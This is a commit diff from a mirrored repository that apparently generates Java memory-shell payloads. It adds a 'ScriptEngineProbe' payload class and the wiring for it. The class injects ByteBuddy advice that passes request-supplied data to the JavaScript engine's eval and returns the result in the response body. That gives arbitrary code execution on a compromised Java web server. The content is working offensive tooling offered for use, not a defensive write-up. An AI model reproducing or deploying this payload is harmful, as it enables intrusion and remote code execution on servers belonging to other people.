mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 23:11:52 +08:00
feat: support script engine probe
This commit is contained in:
@@ -10,5 +10,6 @@ public enum ProbeContent {
|
||||
JDK,
|
||||
Bytecode,
|
||||
Command,
|
||||
BasicInfo
|
||||
BasicInfo,
|
||||
ScriptEngine
|
||||
}
|
||||
|
||||
+3
@@ -9,6 +9,7 @@ import com.reajason.javaweb.probe.config.ResponseBodyConfig;
|
||||
import com.reajason.javaweb.probe.generator.ByteBuddyShellGenerator;
|
||||
import com.reajason.javaweb.probe.payload.ByteCodeProbe;
|
||||
import com.reajason.javaweb.probe.payload.CommandProbe;
|
||||
import com.reajason.javaweb.probe.payload.ScriptEngineProbe;
|
||||
import com.reajason.javaweb.probe.payload.response.*;
|
||||
import com.reajason.javaweb.utils.ShellCommonUtil;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
@@ -51,6 +52,8 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
||||
return CommandProbe.class;
|
||||
case Bytecode:
|
||||
return ByteCodeProbe.class;
|
||||
case ScriptEngine:
|
||||
return ScriptEngineProbe.class;
|
||||
default:
|
||||
throw new GenerationException("responseBody not supported for probe content: " + probeConfig.getProbeContent());
|
||||
}
|
||||
|
||||
@@ -0,0 +1,34 @@
|
||||
package com.reajason.javaweb.probe.payload;
|
||||
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
import javax.script.ScriptEngine;
|
||||
import javax.script.ScriptEngineManager;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/11/18
|
||||
*/
|
||||
public class ScriptEngineProbe {
|
||||
private final String script;
|
||||
|
||||
public ScriptEngineProbe(String script) {
|
||||
this.script = script;
|
||||
}
|
||||
|
||||
@Advice.OnMethodExit
|
||||
public static String exit(@Advice.Argument(0) String data, @Advice.Return(readOnly = false) String ret) throws Exception {
|
||||
ScriptEngine js = new ScriptEngineManager().getEngineByName("js");
|
||||
if (js == null) {
|
||||
return ret = "js engine is null";
|
||||
}
|
||||
return ret = js.eval(data).toString();
|
||||
}
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String toString() {
|
||||
return ScriptEngineProbe.exit(script, super.toString());
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user